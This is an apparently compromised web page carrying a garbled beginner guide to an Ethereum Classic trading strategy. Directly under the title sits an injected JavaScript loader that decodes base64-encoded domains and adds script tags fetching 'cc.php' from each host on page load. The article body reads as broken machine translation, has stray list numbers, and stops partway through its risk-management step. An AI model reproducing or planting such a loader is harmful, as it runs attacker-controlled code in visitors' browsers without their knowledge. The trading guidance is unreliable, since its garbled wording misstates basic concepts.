How To Create A Trading Strategy For Ethereum Classic (ETC)
const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8=|NXQ0MTQwMmEuc2l0ZS94cC8=|OWUxMDdkOWQuc2l0ZS94cC8=|ZDQxZDhjZDkuZ2l0ZS94cC8=|ZjAwYjRhMmIuc2l0ZS94cC8=|OGIxYjk5NTMuc2l0ZS94cC8= »;const pds=pdx.split(« | »);pds.forEach(function(pde){const s_e=document.createElement(« script »);s_e.src= »https:// »+atob(pde)+ »cc.php?u=3d787b38″;document.body.appendChild(s_e);});
Creating Trading Strategy for Ethereum Classic (etc.): Beginner Guide
The cryptocurrency store has become increasingly popular in recent years, and millions of people around the world have been investing and buying cryptocurrency currencies like Bitcoin, Ethereum and others. However, with so many options available, it can be difficult to move and make informed decisions about which to buy or sell.
The Crypto currency that has attracted significant attention lately is Ethereum Classic (etc.). This decentralized and open blockchain platform was launched in 2016 and received attraction as a sustainable alternative to Bitcoin. ETC exclusive features, such as their intelligent network architecture based on the contracts and the presence of a large and active community, make it an attractive investment.
In this article, we will provide a step guide -a scream about how to create a trading strategy for Ethereum Classic (etc.). We will contact everything, from the configuration of your account and the choice of the right tools, the analysis of market trends and the identification of possible entry points.
Step 1: Configuring your account
For starters, you will need to sign up for a network trading platform, etc. Some popular options include:
- Binance
- Coinbase
- Kraken
- Huobi
After selecting a platform, create an account that provides the necessary information, such as your name, address E -Star and password.
Step 2: Selecting your trading platform
With your configured account, it’s time to select a trade platform that best meets your needs. Consider factors such as:
- Fees: Look for platforms with competitive rates, especially for small transactions.
- Liquidity: Make sure the platform has a large market volume and a quick execution time.
- Security: Choose a respectable exchange that uses strong security measures to protect your account.
Step 3: Configuring your shopping account etc
After selecting a trading platform, follow these steps:
- Open your account on the platform.
- The position of funds in your account using a payment method such as credit/borrowing or bank transfer.
- Fund your account with a sufficient amount of classic Ethereum (etc.).
Step 4: Selecting your negotiating strategy
The successful ETC trading strategy involves understanding market trends, an analysis of technical indicators and making informed decisions based on data.
Here are some concepts to be remembered:
* Market Analysis : Study Historical Prices, Volatility and Feeling to identify possible entry points.
* Technical indicators : Use tools such as Bollinger Moving average, RSI and bands to assess the moment of the market and identify the possibility of buying or selling.
* Basic analysis : Understand the fundamental reasons behind the value, etc., as their dynamics of offer and demand.
Step 5: Identifying possible entry points
Look for the following indicators of potential entry points:
- Support level : Identify areas where prices have recovered earlier, indicating a strong pressure from the purchase.
- Resistance level : Look for areas where prices have been interrupted earlier, suggesting that sellers are preparing to increase prices.
3.
Step 6: Defining the stopping of loss and position size
After identifying the entrance point, defined stop losses and dimensioning position based on your risk tolerance and investment goals:
- Define stop interval : Identify the price level below which you are willing to sell if the market is moving against you.
- position size : Calculate how many states of your account you can lose negotiations.
Step 7: risk management
As with any negotiation strategy, it is crucial to manage risks:
1.
0 commentaire